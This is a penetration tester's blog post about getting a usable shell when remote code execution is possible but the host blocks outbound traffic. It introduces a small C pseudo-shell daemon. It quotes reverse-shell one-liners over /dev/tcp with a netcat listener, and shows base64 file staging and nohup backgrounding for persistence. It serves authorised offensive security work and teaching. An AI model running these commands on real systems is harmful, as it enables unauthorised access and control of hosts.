Context, context, context; Alright, imagine this – you’re on an engagement, find a few vulnerabilities, run a few exploits and next thing you know you have Remote Code Execution (RCE).
Now, like muscle memory, your next instinct would be to get a shell. Running the following is fairly simple:
sh -i >& /dev/tcp/10.0.0.22/4678 0>&1
Then listen in and…
nc -lvnp 4678
...
Huh? Sorry, I mean run this, and…
0<&196;exec 196<>/dev/tcp/10.0.0.22/4678; sh <&196 >&196 2>&196
…and…
nc -lvnp 4678
...
Hmm? Still nothing.
This is where the problem comes in, like a new GPU encased in a glass box, its so close, right there, but unattainable.
I’m sure that I am not the only one who has been hit with the gruelling reality of RCE, but no egress on the host. Meaning that you can execute commands, but cannot communicate with the outside world.
Now one starts to panic, how could I get an interactive shell? How am I going to upload my scripts and exfiltrate data?

Luckily, in my case, it was possible to use dnscat2 as a C2, seeing as this aspect was not blocked from outbound connections.
But this had me thinking, what if this was not possible? I have RCE, however; some service’s tooling require an interactive shell. Being this close, I decided that this could not be the end.
Inspired by dnscat2 and Linus Torvalds – “I started doing Linux because I needed an operating system and there was nothing that suited my needs” I made my own horrible version of C code, that would fulfil this need.
First, getting files on the machine is easy… if you have a means to automate it. Using a series of echo’s, you can echo a string of base64 that makes up a file and decode it when the full contents are copied over.
echo 'VGhlRmFjdFRoYXRZb3VBY3R1YWxseVdlbnRUb0RlY29kZVRoaXNJc1dlaXJk' >> shellnot.b64
echo 'V2h5RGlkWW91RG9JdEFTZWNvbmRUaW1lP0xlYXJuVXJMZXNzb24=' >> shellnot.b64
...
base64 -d shellnot.b64 > shellnot.c
This would of course imply that you have gcc
on the host, however, it might be best to adjust the code to your needs and echo through the binary instead.
Now, after much delay, what did I do? I made an Unix domain socket-based, pseudo-interactive shell. This would have a daemon that allows command input and output via file-based communication intended for use in environments where you only have RCE and no means to get shell.
- The script maintains a persistent shell session using
forkpty()
. Whereforkpty()
creates a new process operating in a pseudo-terminal. - It communicates through the UNIX socket,
/tmp/koreanfont.sock
, sending input and output. - Sessions are stored in a static array and indexed via session IDs.
- Input is passed via command-line, and output is retrieved in chunks, preserving shell context.
In short, the daemon sends input to a shell session and the output is a buffered output from that session.
I would describe this as primitive to the extreme, but in terms of keeping the file as small as possible – it does the job exceptionally well. There are a few error’s when compiling with gcc
, but that’s expected since I skipped over a few things in terms of best-practice coding to achieve the size goal.
A quick look at the flow of this, first would be getting the file on the box or compiling the binary for it.
gcc shellnot.c -o shellnot
To run the script, because its RCE, you need to background the process in order to keep utilising your RCE to avoid any indefinite freeze as the process will not end until manually stopped.
nohup ./shellnot --daemon &
Cron is also an option, depending on your RCE context, but in the end you want this to be put aside where you can run other commands.
ps aux | grep shellnot
mcrn 5770 0.0 0.0 2772 956 pts/0 S 22:33 0:00 ./shellnot --daemon
Once this is in the background, here is an example flow, of using RCE “interactively” to authenticate to SSH.
./shellnot --daemon &
./shellnot --session 1 --input "ssh root@2.domain.com"
./shellnot --session 1 --output
ssh root@2.domain.com
root@2.domain.com”s password:
./shellnot --session 1 --input "toor"
./shellnot --session 1 --output
Last login: Sat May 24 16:45:40 2025 from 10.0.0.2
[root@localhost ~]$ ?
./shellnot --session 1 --input "id"
./shellnot --session 1 --output
id
uid=1001(root) gid=1001(root) groups=1001(root),970(docker),998(wheel)
[root@localhost ~]$
[root@localhost ~]$ ?
./shellnot --session 1 --input "exit"
./shellnot --session 1 --output
exit
logout
Connection to 2.domain.com closed.
$ ?
The whole idea and main goal in making this was having a session persist, where I can interact with services and other commands. If it helps you out, then great, if not – one day you’ll find yourself hating egress.
The tool can be found at – https://github.com/sensepost/shellnot